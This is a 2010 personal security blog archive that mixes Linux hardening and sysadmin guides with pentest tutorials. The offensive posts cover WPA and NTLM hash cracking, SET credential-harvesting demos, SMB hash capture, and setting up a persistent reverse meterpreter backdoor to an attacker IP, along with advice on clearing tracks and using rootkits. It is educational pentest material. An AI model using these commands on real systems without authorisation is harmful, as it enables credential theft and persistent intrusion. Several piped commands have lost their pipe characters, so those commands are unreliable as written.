Wednesday, December 22, 2010

Pentest Cycle Quick Reference

Reconnaisance: Normally no active tests are performed on targets. At this phase google is your friend. You try to learn all you can about potential organizations/targets from available public sources
Scanning: This phase involves identifying live targets and their open ports on a network.
  • unicornscan 10.0.0.1
  • nmap -sS 192.168.1.1-255; nmap -sn -Pr 192.168.1.0/24
  • netdiscover -r 10.0.0.0/24 -i eth0
Enumeration/OS fingerprinting: Learn more about the potential applications listening behind discovered open ports. This involves sending packets to open ports and analyzing the responses sent back by the services. By analyzing these responses the OS might be determined here as well.
  • nmap with the -sV and or -O option
  • amap -Abqv 10.0.0.1 80; amap -B 10.0.0.1 80
  • xprobe2 -p tcp:445:open
  • httprint for webserver enumeration
  • metasploit and smb_version module if port 445 or 139 is open
  • nmap --script smb-os-discovery

Research: After identifying the OS and it's applications (and in some cases their versions), you will want to research that app for potential vulnerabilities and security bypasses. Some resources that you can use to research vulnerabilities are
  • www.securityfocus.com
  • www.exploit-db.com
  • www.secunia.com
  • www.google.ca
Exploitation: After finding potential vulnerabilites and exploits in your research phase, you will want to attempt to try these exploits against the vulnerable apps. In some cases you will be required to compile and or modify the exploit code to get things working or to simply suit your need. Some tools that aid in the exploitation phase are:
  • metasploit
  • www.exploit-db.com or a local copy of their archive as found in backtrack 4
  • local copy of milworm exploits archive
  • fasttrack
  • milw0rm
  • SET, i.e, social engineering toolkit
Maintaining Access: After you have successfully exploited a target, you will want tEo ensure that access to the remote vulnerable host will be quick and easy. You may be required to open a port in the firewall or just turn that darn thing off. Some tools that can be used here are;
  • netcat
  • cryptcat
  • mirkov
  • guptachar (see blogpost)
  • metsvc (meterpreter)
  • rootkits
Clearing Tracks: This step basically involves clearing traces of your activity on the vulnerable machine, including uploaded files and any events that may have been logged to the event viewer that may idicate that the machine has been compromised. Rootkits can also help hide your upload files, your open ports, running services, etc. These are very difficult to detect and mitigate.

These are just guidelines that i've learnt from various resources. The majority of pentesters out there tend to follow similar guidelines to those that i've outlined. There are many more tools that can be utilized in each phase but that was not the purpose of this blog. It is important to have an idea of the overal phases that one may encouter in real life and why each is important. I did not go into much depth but each phase has their value. It is very important to know your tools, to practice using them and when to use them, as your experience can be the deciding factor in whether you get in or whether you serve yourself a serving of fail.

Thursday, November 25, 2010

Single Packet Authentication with fwknop

Imagine having services running on your computer, in order for other machines to access these services you would have to open up the relevant ports on your firewall. What if a zero day exploit comes out for one of these services is it game over? More than likely it is a game over situation, but it doesn't have to be.

Single Packet Authentication allows you to access services running on your machine and at the same time have your firewall filter block all incoming traffic, meaning have no ports open on your machine. How is this even possible? It just is and to learn more, google is your friend. Basically, you have a server but its no ordinary server running on your machine. Its a server that listens to all traffic like a sniffer. When it sees a specially crafted authentication packet it does something like execute commands or in our case open up a port. Whats kool about this and in particular fwknop is that we can setup our rules that when we open up the port, we do so for a certain amount of seconds then close back the port of the firewall. The already established connections continue to have connectivity (due to rules we set on the firewall to allow already established communications through).

Notes:

OS: Backtrack 4 RC1

Simple IP tables firewall rule:
#!/bin/sh
IPTABLES=/sbin/iptables
$IPTABLES -F
$IPTABLES -F -t nat
$IPTABLES -X
$IPTABLES -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A INPUT -i ! lo -j LOG --log-prefix "DROP "
$IPTABLES -A INPUT -i ! lo -j DROP
$IPTABLES -A FORWARD -i ! lo -j LOG --log-prefix "DROP "
$IPTABLES -A FORWARD -i ! lo -j DROP
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "iptables policy enabled"
exit
pre-requisite for fwknop:
# apt-get install libgdbm-dev

Download and install fwknop(client and server)
# wget -c http://www.cipherdyne.org/fwknop/download/fwknop-2.0.0rc2.tar.gz
# tar -zxvf fwknop-2.0.0rc2.tar.gz
# ./configure
# make
# make install

Configuration: (config files are located at /usr/local/etc/fwknop)

In the fwknop.conf file, you need to uncomment and set the option for your interface "PCAP_INTF eth0".

Set up your access.conf file to allow access to what users what ports, etc. A simple suitable config:
SOURCE: ANY;
KEY: 123456789; //must be over 8 characters
REQUIRE_USERNAME: admin;
OPEN_PORTS: tcp/22;
FW_ACCESS_TIMEOUT: 20;
To run the server:
# fwknopd -f -vv

if you get the following error message when you try to run the server:
fwknop: error while loading shared libraries: libfko.so.0: cannot open shared object file: no such file or directory
then you may need to create a symlink in the /usr/lib directory for the library file:
# cd /usr/lib
# ln -s /usr/local/lib/libfko.so.o.o.2 libfko.so.0


To authenticate using client:
# fwknop -D 192.168.0.5 -s -A tcp/22

There is also a windows client you can get here

Resources / Good Reading:
http://pauldotcom.com/wiki/index.php/Episode221
http://www.cipherdyne.org/fwknop/

Friday, November 19, 2010

Linux / Ubuntu hardening tips

Here are some tips that you can use to harden the security of your systems.

Its a good idea to divide your file system into various partitions to fine tune permissions and functionality. Also aids in linux OS migration and backup as well.

Set a BIOS password ONLY. Sure you can also set HDDlock passwords to password protect your hardisks which is good but there is one downside to doing so. If your computer was stolen and your system requires a password to bootup (or unlock the hard disks) , provided that you used a secure password, chances are that this predator would not be able to boot into your machine at all. He then may dispose of this machine or just simply get a new hard drive. When either of these happen, you can pretty much kiss this machine good bye as it would be almost impossible to recover. What i prefer to do is to just set a BIOS password so that no one can make changes into the BIOS but are able to still boot into the OS into a restricted account. Once the machine gets an internet connection our hidden "prey" software that i discussed in the previous blog post can do its job and start reporting information to us. This setup might not be applicable for businesses but for a typical home user, i think it should do fine (who wouldn't want to catch the culprit and recover their stolen goods in the process? :P ).

You would also want to set the boot priority to boot from your hard disk first and not removeable media. This aids in preventing the use of live linux CD's or removeable media from being able to boot and mount your hard disk. With your BIOS password set, modifying the boot sequence of your computer would become a daunting task to the average user trying to do so. Although you can get around this easily by taking out the hard disk so the computer boots from its next boot device, not everyone would think about doing so, therefore this helps in giving you some security.

Perform an update as soon as you install your new OS. These commands should do: # apt-get update && apt-get upgrade

Enable Automatic updates. Would want to schedule your updater to check for updates at least once a week. Would also suggest that you allow the OS to automatically download and install updates wihtout confirmation when available.

Download and install your preferred firewall (i recommend firestarter). Go ahead and block incomming connections. the only connections that should be allowed through your firewall is traffic that was originally initiated from your box.

Download and install a virus scanner (clamav should do). Most viruses are for windows so chances are you wont get infected. However, you can potentially be hosting a virus that may or may not spread onto other hosts. For instance, you may have an infected pdf file that you can open in linux and have to effect what so ever because the exploit was designed for a windows system. If you decide to carry this file with you on a usb key and copy it on the windows system that virus would now stand a much better chance to infect its windows host.

I recommended using firefox for the best web browsing security. You would want to install the "noscript" plug-in for added security against scripting attacks.

Refrain from using the root account. Create a new user and give priveleges to this user via the sudoer file using the command "visudo" to modify it. Try to be restrictive as possible. If you give yourself too much priveleges and your account was to be compromised, then its game over.

After you do a fresh install of Ubuntu and did all the updates, you would want to generate a list of all installed programs as a baseline. You can do this again later then compare it to your baseline and note the differences. Chances are you may spot some programs that shouldn't be there. The command that i use to generate this list is :
# dpkg --get-selections | grep -v "deinstall" > Installed_Baseline-`date +%F`.lst

Remove unecessary services especially the ones that start on boot. Identify the services that you do not need and remove them.
example: # sudo /etc/init.d/cups stop && update-rc.d -f cups remove

As mentioned above, i would recommend having some sort of locked down guest account. This way, if my laptop was to get stolen, its in me best interest to want to allow them easy access into my system where they can connect to the internet and browse the web. This way my "prey" software can report on my laptops where abouts so i have a great chance of recovering my PC

Install "prey". You can read about it in my previous post. This here puts your mind at ease knowing that if your machine gets stolen, there is still hope that you can recover it.

Always try to have some type of log management strategy. Search or create scripts that would parse through your log files and extract relevant information. Getting this right can be time consuming but may pay off one day. Try to log as much as possible. The more data you have, the more you have to work with.

By default all user home directories created with the adduser utility will have world read/execute permissions. This is not very desirable from a security stand point. To verify every users home directory permissions: # ls -ld /home/*.
Far added security do : # sudo chmod 0750 /home/username

Avoid using default service ports. For example, your default ssh server install will more than likely listen on port 22. Its in your best interest to put this on some random port number like 26374. Hackers may see port 22 and automatically assume that theres an ssh server running in the background but seeing port 26374 might make there lives a little bit harder in trying to identify the type of service listening on this port. Sometimes they might just not bother putting in the extra effort into getting into that system as things aren't as trivial for them.

Lock down your services and applications. As an example with ssh, i like to restrict root logons, restrict password authentication once i get public key authentication working and force the usage of ssh protocol version 2.

Resources/Good Reading:
https://help.ubuntu.com/9.10/serverguide/C/security.html

Thursday, November 18, 2010

preyproject.com - Things you can do to aid recovering one's stolen laptop part 2

Continuing from my last post, i wanted to speak on an open source project called prey.
From the website itself, preyproject.com, it states "Prey lets you keep track of your phone or laptop at all times, and will help you find it if it ever gets lost or stolen. It's lightweight, open source software, and free for anyone to use. And it just works."

It is available for Linux, Windows, Mac OS and the Android platform as well.

These are the steps involved in getting it set-up for Windows:
  1. Download and install the software
  2. In configuration, choose to set up reporting method
  3. Choose the recommended option "Prey + control panel"
  4. Create a new user and follow remaining steps
  5. Log into newly created account on preyproject.com
  6. Click on your device
  7. Make necessary changes here then goto "Modules" to configure those (very important)
  8. The Modules section is where you tell prey what information to collect if your PC is stolen. Make necessary changes here
  9. Click on "Save changes"
  10. To test your system out, switch back to "Configuration" view and turn on the "Missing?" option. This tells prey to start doing its thing and start reporting the information you requested.

For Ubuntu linux users:
  1. Download the .deb installer from the main website
  2. install using: # dpkg -i prey_0.4.4-ubuntu2_all.deb
  3. If the install complains about dependencies like mines install them. For example, i installed my dependencies like this: # apt-get scrot streamer mpg123. Scrot is a screeshot capture program, streammer is a video and audio capture utility and mpg123 is a command line mp3 player.
  4. Verify your crontab entry: # crontab -l
  5. Verifythat the cron service is running: # /etc/init.d/cron status. If cron is not running it may not be configured to run on system bootup unless you purposely disabled it. You can add it to the startup scripts like so: # update-rc.d cron defaults. Then verify again that its running: # /etc/init.d/cron status
  6. If the GUI configurator tool does not launch, you will have to manually configure the options. Edit the /usr/share/prey/config file (make a backup of original before). You would want to add the api_key and the device_key values that you get when you're in your prey account. I also set randomize_check_host='y' and commented all the ssh, smtp, sftp and scp options near the bottom as well.

The way the prey system works is that when your stolen laptop is connected to the internet, the prey client that was previously installed will be silently and stealthily be periodically phoning home to the mothership looking for instructions (Even when you are not connected to the internet it periodically attempts this as well). The intervals in which prey does this "phoning home" can be configured on your machine "Goto start menu -> All programs ->" prey -> Configuration". When it phones home it checks for instructions, specifically if that "Missing?" option that we set in step 10 is set to on. If its set to off then it does nothing and goes back to sleep until its next periodic cycle. If when it phones home and see that the missing option is set to "on", then it starts collection the information that you configured in the modules (step 8) and send them to the prey servers where you and only you can review them when you log into your preyproject.com account. This information can include its location, hardware and network status and optionally trigger specific actions on it such as locking the computer (a pre-assigned password would be required to unlock it) or deleting browser cookies and cached stored passwords.

Resources / Good Reading:
preyproject.com

Things you can do to aid recovering one's stolen laptop part 1

I was inspired by a presentation i saw on securitytube.net, "Pwned by the owner", presented at defcon 18 by Zoz. The presenter gave us his story of an incident where his laptop was stolen by an individual and the series of the things that he was able to do that led to its recovery. It was a very interesting and eye opening presentation that i would encourage all to watch.

In summary, as a result of a few services that were running silently in the background, he already had a foot into his system. He had some sort of dyndns client running on his system that sent all updated public IP addresses to his dyndns account. What this means is that whenever his laptop was connected to internet at any location, the dyndns client will detect any changes to its public IP address and update your dyndns account record. With this IP address you can do a reverse lookup of the IP address, find out location information and the current ISP of the connected node (Can also contact the ISP and report this to authorities). In some cases given the right software, if your laptop is connected via wifi, it is possible to get an idea , within reasonable distance, of where your laptop is on the map (like phone navigation with no built-in gps reciever).

When Zoz discovered that his dyndns account recorded a new IP, he proceed to do nslookups did pings at multiple times until he recieved a response (this can be scripted as well so you can be notified when the host is up. Think of a bash script with a cron job). When he finally got ping replys and his host was up, he then attempted to connect to some of the services that he had running on his box before it was stolen. These services included ssh and vnc. As it was his laptop he knew all the required passwords so he eventually had inside access. From then on here, he did some recon. He was able to find out pictures of the criminal that were stored on the hard drive. A history of his browser cookies and browser history cache gave us a profile of this criminal (seems like he was into dating sites and lots of porn). What was left to do at this point was to get a street address. Although the public IP can give you the city that the individual resides in, it more than likely will not give you more than that. Finding an exact location was next on Zoz's to do list.

A keylogger was implemented on his system and as you would guess, all usernames and passwords were obtained for the sites he was registerd to, including porn sites and ebay. By investigating the return shipping address of his ebay account, the relevant addressing information was obtained and the authorities then were able to detain the thief.

As soon as i completed watching this presentation i was a little paranoid and wanted to immediately prepare myself for such an incident. Zoz was lucky to obtain the Public IP from his dyndns provider. Without that, he would have no apparent lead and would've been left with a broken heart and lots of regret.

Resources / Good Reading:
pwned by the owner

Wednesday, November 17, 2010

Dyndns client (ddclient) for linux

Ddclient is a small piece of software that you install to your computer that updates your dyndns account with your current IP address. If your external IP address changes, this program will automatically notify dyndns.com of the change and update your account information seamlessly.

To install: # apt-get install ddclient

After you install it and provide the relevant information on setup, you will want to verify and or modify the config file (/etc/ddclient.conf)

This is what mines look like

# Configuration file for ddclient
#
# /etc/ddclient.conf

daemon=300 # check every 300 seconds
syslog=yes # log update msgs to syslog
pid=/var/run/ddclient.pid
ssl=yes
protocol=dyndns2
### Select one of these options to determine your IP address
## via hardware interface (if you don't have a router/firewall)

## For local IPs. You probly wouldn' have any use for this unless your computer was connected directly to the modem.
#use=if, if=eth0
## via our CheckIP server. This is a good choice that i use
use=web, web=checkip.dyndns.com/, web-skip='Current IP Address: '

## from the status page for a linksys router/firewall

#use=linksys, fw=linksys, fw-login=admin, fw-p

## settings for DynDNS account holders
################################################################
server=members.dyndns.org
protocol=dyndns2
login=[login]
password=[password]
yourdns.dyndns.org

## settings for OpenDNS account holders
######################################################
#server=updates.opendns.com
#protocol=dyndns2
#login=[login]
#password=[password]
#yourdns.opendns.com

You may also need to verify one setting in the /etc/defaults/ddclient file. You would want to confirm that "run_daemon=true" is set.

After you made all changes, restart the daemon: # /etc/init.d/ddclient restart The service will start on system boot and continue to run in the background.

# /etc/init.d/ddclient status
Status of Dynamic DNS service update utility: ddclient is running

Every few minutes (configurable) the service will check to see if there is a change in your external IP address and if there is, it will send that updated information to your dyndns service provider using your already provided account credentials.

You would then want to log into your dynamic DNS service provider account and verify that your external IP now is up to date.

[update]
I've ran into an issue where one of my ddclients refused to update my dyndns account. I ran it in debug mode like so:
# sudo ddclient -debug -login=username -password='pass' -noquiet -verbose

The ouput of the command was impying that my ip address hasn't changed so it was skipping the update process. However when i log into my dyndns account, my ip address was different. This is because im running the ddclient on a netbook that i take everywhere and when its connected to the internet, it updates that record. The reason that my other machine was not update my dyndns account is becasue of a cache file that was stored. By removing this cache file, it fixed my problem.

# sudo rm /var/cache/ddclient/ddclient.cache

Thursday, October 7, 2010

Simple asterisk setup

Asterisk is an open source telephony system or PBX (private brach exchange). What this means is that you can setup your own telephony system at home, where you can call phones internal (like dialing extensions in a business) and also make outgoing calls to the outside world. The system can interface with almost any type of telephony hardware and can speak many communication protocols.

Below is a quick list of commands and configs that i've used to install asterisk and connect two softphones to the system.

Tested on Backtrack 4 (Will be installing on a Ubuntu 10.04 later).

Get the dependecies asterisk may require:

# apt-get -y install build-essential libncurses5-dev libcurl3-dev libvorbis-dev libspeex-dev unixodbc unixodbc-dev libiksemel-dev linux- headers-`uname -r`

Then insall asterisk:

# cd /usr/src
# wget http://downloads.digium.com/pub/asterisk/asterisk-1.4-current.tar.gz
# tar -zxvf asterisk-1.4-current.tar.gz
# cd asterisk-1.4-current
# ./configure && make && make install && make samples

Then we can configure our sip.conf, and extensions.conf as follows

##### sip.conf #####

[general]
port = 5060
bindaddr = 0.0.0.0
context = default

[100]
type=friend
context=incoming-calls
secret=100
host=dynamic

[101]
type=friend
context=my-phones
secret=101
host=dynamic


################

##### extensions.conf #####

[others]

[incoming-calls]

exten => 100,1,Dial(SIP/100,10)
exten => 101,1,Dial(SIP/100,10)


################

You will have to configure your softphones to match the settings in the sip.conf file

References / Good Reading:

Monday, September 20, 2010

Network Booting a linux machine (PXE)

What exactly is this that i speak of? Think of booting up a machine with no hard-disk or cd drive. Of course you can do this with USB but if you have 5 diskless and cd driveless machines, that would mean you would need 5 unique USB drives to boot us a live linux OS. However, with network booting you can boot such diskless machines from one central server. This means administration is reduced to one central machine that all machines can boot from. It is also possible to boot a machine over the internet as well.

What i require on the server end is a pxe server. This will comprise of some services, mainly a tftp server and dhcp server and in some cases nfs or http server. In this example i will show you the most basic method for network booting a linux OS (tftp/dhcp server combo).

Note: I recomment using tftpd-hpa server over atftpd that comes with backtrack 4. Atftpd has a file size limitation in which it can download. Not sure exatcly what it is but i ran into a problem in downloading the initial ramdisk for ubuntu with syslog complaining about atftpd's inability to download certain sized blocks.

Will be using a simple linux OS called Tinycore

dhcpd.conf :

allow booting;
allow bootp;
default-lease-time 360;
max-lease-time 720;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.2 10.0.0.5;
option subnet-mask 255.255.255.0;
option routers 10.0.0.1;
option broadcast-address 10.0.0.255;
option domain-name-servers 10.0.0.1;
filename pxelinux.0;
nexe-server 10.0.0.1;
}

The filename portion is very important and is the bootloader that should be loaded over the network
The next-server specifies the tftp server that houses the bootloader.

Start up the dhcp server.

Set up the tftpd server. I usually do this from the commandline
# in.tftpd -l -v -s /root/tftpboot/

Copy the initrd and kernel files to the /root/tftpboot folder specified in your tftp service.
You would need to get the bootloader, gpxelinux.0, from syslinux packages. Just download syslinux and copy this file to your /root/tftpboot/ directory. Create a directory "pxelinux.cfg" and create a default text file with the following.

Prompt 0
Timeout 0
LABEL tinycore
KERNEL vmlinuz
APPEND initrd=initrd.gz


Now if your client's machines motherboard supports booting from lan, select this option in the boot menu and all should go well.
For PC's that do not support booting from lan, you can burn a gpxe image onto your usb key so your usb key would act like the pxe client. Head over to http://www.rom-o-matic.net/ and get a copy of the usb compatible gpxe image. Copy onto thumbdrive using dd:
# dd if=gpxe.img of=/dev/___.

Resouces/Good Reading: http://etherboot.orghttp://syslinuxzytor.com/wiki/index.php/PXELINUX



Sunday, September 12, 2010

Using Netcat and a symmetric algo (AES or 3DES) for secure commnuications

I was messing with netcat (again) transfering files back and forth from computer A to B. I know that the file transfer are indeed not secure and are transfered in plaintext and wanted to have netcat remedy this. Although there are secure alternatives to netcat (cryptcat and sbd), i love netcat, after all, netcat fathered most of these other tools. Plus i wanted a challenge. I wanted to use openssl's symmetric cyphers to encrypt data transfered through netcats client/server nodes.
Simple enough, it didn't take me long to put things together

Client:
# openssl enc -aes128 -nosalt -pass pass:mypass -in file.txt| nc -q 1 10.0.0.1 80

Server:
# nc -lvp 80 | openssl enc -aes128 -d -nosalt -pass pass:mypass -out file.txt


Tuesday, August 31, 2010

Ntfsclone, Backup/Restore ntfs partitions

So i did a fresh install of xp and installed a couple apps and wanted to make an appropriate backup image using linux. Being the Backtrack user that i am, the popular choice of backup/imaging known to me at the time were the programs dd or partimage. For my purposes, dd would'nt be a valid choice as it will back up used space as well as unused space, so i was left with partimage.

Partimage is a great program, but support for ntfs file systems were experimental. However, i proceeded to try it out and all went fine, the backup was succesful. However, i didn't want to risk trying a restore and lose everything on that partition (as docs said the support for ntfs was experimental). I then turned to google to find a reasonable alterative.

A few minutes after, i learned of ntfsclone (and its already installed on backtrack 4 as well). Ntfsclone will do as the name says, clone ntfs drives. You can clone to an image file, disk or stdout (useful for piping to programs like split, gzip, bzip etc) . It had the major feature i was looking for that was also present in partimage; the ability to backup only the used blocks of data on the partition and not the entire partition itself. Actually, it backs up the used space on the partition and fills the rest of the image with zero's which makes for easy compression.

Usage is quite simple

To make clone of partition 1 on device sda
# ntfsclone --save-image -o /mnt/usb/disk.img /dev/sda1

To restore image
# ntfsclone --restore-image -O /dev/sda1 /mnt/usb/disk.img //note we are using the capital O in the options to overite the destination /dev/sda1 if existing

Because of the file size limit (4G) on fat32 formatted disks, if you are cloning any drive bigger than four gigs and wanted to copy the saved image to a fat 32 disk, you will therefore run into issues. To overcome this, the following commands can be utilized.

# ntfsclone --save-image -o - /dev/sda1 | split -d -b 1000m - XPSP2.img_ // the '-' will cause ntfsclone to output to standard out. The split utility will split the data every 1000 megabytes (1 gig) from its standard in '-' and output to files with the prefix XPSP2.img_ and because of the '-d' option, numbers will be appended to the individual files. Example: XPSP2.img_01, XPSP2.img_02, XPSP2.img_03.


Just something important to note, taking from the article here:

If you want to copy, move or restore a system or boot
partition to another computer, or to a different disk or partition (e.g.
hda1→hda2, hda1→hdb1 or to different disk sector offset) then you will need to
take extra care.

Usually, Windows will not be able to boot, unless you
copy, move or restore NTFS to the same partition which starts at the same sector
on the same type of disk having the same BIOS legacy cylinder setting as the
original partition and disk had.

The ntfsclone utility guarantees to
make an exact copy of NTFS but it will never deal with booting issues. This is
by design: ntfsclone is a filesystem, not system utility. Its aim is only to
clone NTFS, not to clone Windows. Therefore ntfsclone can be used as a very fast
and absolutely reliable building block for Windows cloning, but itself it's not
enough.



Resources/Good Reading:
http://www.linux-ntfs.org/doku.php?id=ntfsclone

Friday, August 27, 2010

Advanced tcpdump Kung-Fu

So i was messing with tcpdump again and needed a quick refresher on filters. I went back to one of my blog posts and some other resources i found on google and quickly got up to speed. I wanted to take things a little it further however and looked to get creative.

I started out by filtering icmp packets. I wanted to only see ping request packets coming to me. So i created the filter as follows:

# tcpdump -ni eth0 'icmp and (icmp[0] = 0x08)'

I then only wanted to extract the ip address of the host sending those icmp requests

# tcpdump -lni eth0 'icmp and (icmp[0] = 0x08)' cut -d " " -f 3 //Note that the '-l' option must be included to make stdout line buffered

With this information, i imagined taking things a lil further. What i then wanted to do was to block any machine that was sending icmp echo requests. I then remembered that honeyport script that was in a recent pauldotcom segment (I also blogged about it recently as well. Its really kool).


So the script went like this:

while [ 1 ];
do IP=`tcpdump -c 1 -lni eth0 'icmp and (icmp[0] = 0x08)' cut -d " " -f 3`;
echo -e "\n${IP} is pinging you.";
echo -e "Blocking IP: ${IP}";
iptables -A INPUT -p tcp -s${IP} -j DROP;
iptables -A INPUT -p icmp --icmp-type 8 -s ${IP} -j DROP && echo -e "Blocked...\n";
done

Then give the script file executable rights then let her rip.


The next small project i did was filtering out traffic coming from the server, but only the data that has the tcp flags PUSH or ACK set. I was using the edna music server for demonstration purposes and it defaults to port 8080.

So in one terminal i had my tcpdump sniffer set up like this:

# tcpdump -w dump.pcap -s0 -ni eth0 'tcp adn src port 8080 and ((tcp[13] = 0x18) or (tcp[13] = 0x10))'

So the idea behind this is that when a client connects, request a song and streams it, i can be the man in the middle just pulling the data that is sent back to the client in a stealthy manner. When you're finished with your sniffing session you can combine some command line tools to retrieve your data

# tcpflow -C -r dump.pcap strings grep "Content-Type" cut -d " " -f 2 sort //this gives you a list of the content types that were sent to the client. Note that -C prevents tcpflow from outputting the different streams into files, instead just displays the data on standard out.

# tcpflow -C -r dump.pcap more -d // after you issue this command you can hit the h key to get helpfull commands. The "/" is a common option used when you want to do regex searches through the data


Just another kool thing you can do on the fly to see the URLs that are being requested

# tcpdump -lni eth0 'dst port 53'cut -d " " -f 8

If you wanted the ip addresses of the clients as well, you can have another tcpdump window running simultaniously along with the above (Have then running side by side, line by line so interpretation is more efficient)

# tcpdump -lni eth0 'dst port 53' cut -d " " -f 3




Wednesday, August 18, 2010

WPA rainbow tables with cowpatty and aircrack-ng suite

No introduction necessary. If you do not know what a rainbow table is then you will just have to use google or read some of my previous posts.

[using cowpatty suite]
# ./ genpmk -f wordlist.lst -d hash_tables.lst -s "linksys" //Generates a salted rainbow table using the wordlist file and the ssid name "linksys"

# ./cowpatty -d hash_tables.lst -s "linksys" -r wpa.pcap //command to crack the WPA key using the rainbowtable and the pcap file


[using aircrack-ng suite]
# airolib-ng table.db --import essid ssids.lst // creates a new database and imports the ssids to be used as salts
# airolib-ng table.db --import passwd wordlist.lst //imports the wordlist/passwords into the database
# airolib-ng table.db --batch //performs all the necessary processing of the essid and password combination
# airolib-ng table.db --verify //verifies the integrity of the ssid/password pairs

# aircrack-ng -r table.db wpa.pcap //command to crack the WPA key using the rainbowtable and the pcap file

Monday, August 16, 2010

Cracking challenge and response lm/ntlm hashes

The Challenge and response hashes that i'll be cracking occur over protocols such as SMB/CIFS on Windows systems. When a user tries to access a remote share, he must first try to authenticate with that remote system. The client says "hello, i would like to communicate with you"; the server responds with a challenge which composes of random data; the client then takes this challenge and uses it to encode its user's lm/ntlm hash then sends the results back to the server; The server then uses the same random challenge and the response sent back by the client to derive the lm/ntlm hash of the user then compares this to its SAM database to see if this user is a valid user on the server.

The server portion of such a system can be modified to respond with a static challenge instead of issuing a random challenge for every client request. By doing so, cracking via rainbow tables becomes favorable and wordlist/bruteforce attacks become viable as well. Because of the use of random challenges per client request to the server, cracking became very difficult as the challenge had to be known and then be incorperated into the cracking program. Having a static challenge thus solves this difficulty.

More information can be found on google and here

Metasploit can be used to capture these hashes and John the ripper can be used to crack them

[metasploit]
# msfconsole
msf> use auxilliary/server/capture/smb
msf auxilliary(smb)> run

[John]
# ./john --format=netlm --wordlist=passwords.lst halmlmhashes.txt

The challenge and response hashes must be saved in the following format to be suitable for cracking using john:

user:::LM_HASH:NT_HASH:STATIC_CHALLENGE
Example:
admin:::A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788


Reesources/Good Reading:

Monday, August 9, 2010

Honeyport script

I was listening to a pauldotcom podcast (see www.pauldotcom.com), episode 204 and they had a very interesting tech segment called Honeyports on linux (see episode 203 as well for honeyports on windows). The basic idea behind this is the block a potential malicious person via his ip address from accessing your system. This can also work in some situations where an attacker is performing a TCP scan of your machine that actually goes through the entire 3 way TCP handshake and by doing so, trigger our Honeyport script and automatically add a firewall rule to restrict that IP address from further establishing any TCP communication to our machine.

The script is also very simple and elegant.

#!/bin/bash
while [ 1 ] ;
echo "started" ;
do IP=`nc -v -l -p 2222 2>&1 1> /dev/null | grep from | cut -d[ -f 3 | cut -d] -f 1`;
iptables -A INPUT -p tcp -s ${IP} -j DROP ;
done

Good Stuff from John Strand and the pauldotcom crew for comming up with something so simple, yet so elegant and usefull.

Resources/Good Reading:
http://pauldotcom.com/wiki/index.php/Episode204

Sunday, August 8, 2010

Using Ophcrack from da command line

First off, you need some rainbow tables (Get the ophcrack tables to avoid compatibility issues) from http://ophcrack.sourceforge.net/tables.php.

You can also get the ophcrack program from that site as well.
I will be using BT4 which already has the ophcrack preinstalled.

unzip the rainbowtables into a folder.
Note: This here assumes you have your password hashes in the proper format as well. Programs such as pwdump6 and fgdump are good ones that produce compatible output for use with ophcrack.

command:
# ophcrack -g -d path_to_rainbow_tables_dir/ -t path_to_rainbow_tables_dir/ -n 4 -f hashes.txt

'-d' - Path to rainbow tables
'-g' - do no run the GUI interface
'-t' - specify which table to use. Just putting the dir path to the table works for me
'-n' - number of threads to use
'-f' - path to hashes file obtained from programs like fgdump or pwdump


Of course you can always use the GUI by just typing 'ophcrack' from the command line.

Friday, August 6, 2010

Hashcat

Have those hashes and wanna crack em faster than any other open source password cracker out there? You would definitely want to take this tool for a spin. This tool is very comparable to John the ripper with a number of supported hashing algorithms and word mangling rules that you can throw at it. For more info, check out the authors website at http://hashcat.net.

You can generate your own hashes to crack: # echo -n "password" | openssl md5 > hash.txt

To crack SHA1 hashes using a wordlist:
# ./hashcat-cli.bin -a 0 -m 100 hashes.txt wordlist.lst //crack sha1 hashes in hashes.txt

To perform a bruteforce attack for the MD5 hash:
# ./hashcat-cli-bin -a 3 -m 0 --bf-pw-max=4 hash.txt //bruteforce the md5 hashes in hash.txt with a password length max of 4

# ./hashcat-cli.bin -h //for more help and options

Resources / Good Reading:

http://hashcat.net

Sunday, July 11, 2010

Demo-ing the power of SET (Social Engineering Toolkit) framework

Social Engineering Toolkit Demo **part 1** ....

This demo will show you how you can easily gain user credentials (username and passwords) from popular social websites, in our example today, www.gmail.com

The steps involved as outlined in my video are simple to follow

1. launch SET framework and make the necessary selections for th etype of attack that you're tryna accomplish

2. Goto the victim machine and browse to the attackers IP (or more realistically, you can force a user to come to you when they attempt to goto gmail.com themselves with a combination of arp poisoning and dns spoofing)

3. On attackers machine analyze results and see what information was obtained


Social Engineering Toolkit Demo (Credential Harvester) from aerokid240 on Vimeo.


Social Engineering Toolkit Demo **part 2** ....

This demo will show you how you can combine the use of self signed java applets and payloads to gain remote access of a system.

Note: User must accept or run the java applet in order for this to work which 98% of users do anyways.


Social Engineering Toolkit (java applet) from aerokid240 on Vimeo.


Resources/Good Reading:
http://www.secmaniac.com/
http://www.offensive-security.com/metasploit-unleashed/Social-Engineering-Toolkit

Thursday, June 17, 2010

Upgrading from shell to meterpreter and then adding persistence

Say you compromised a box and installed a backdoor that provides you with shell acess. You connect to the backdoor listener and would like to do alot more than what the windows command prompt will allow you to do. Like most of us, we will want access to the meterpreter ("Google meterpreter if you don't have a clue what it is"). We can perform an upgrade on our regular shell to a meterpreter session using metasploit.

you can follow the examples on:
http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html

Just a quick summary.
After you connect to the listener on victim machine:
[ctrl z] to background the session
# setg LHOST ip_addr //this the ip of machine of the attacker with metasploit
# setg LPORT port_num //set port num to use for the upgraded session
# session -u 1 //where one is the session number of the regular shell session

IMPORTANT:
I've only gotten this working when the victim machine had the backdoor or service waiting for shell connections, meaning that when i compromised the box, i used a bind_shell payload or the victim had some kind of listener that would give you shell access when connected like netcat. I could not get this working when using a reverse_tcp shell payload initially.


When you have a meterpreter session, to add a persistent reverse connecting meterpreter client you can use the "persistence" script with options as follows:

meterpreter> run persistence -A -i 5 -p 4444 -r 192.168.1.53

'-A' : Automatically starts a mtaching multi/handler to connect listen for incoming connections
'-i' : Interval in seconds between each connection attempt
'-p' : port on the remote host where metasploit is listening
'-r' :IP of the system running the metasploit listener

if you opted to not use the '-A' option, you can always start up the multi/handler manually

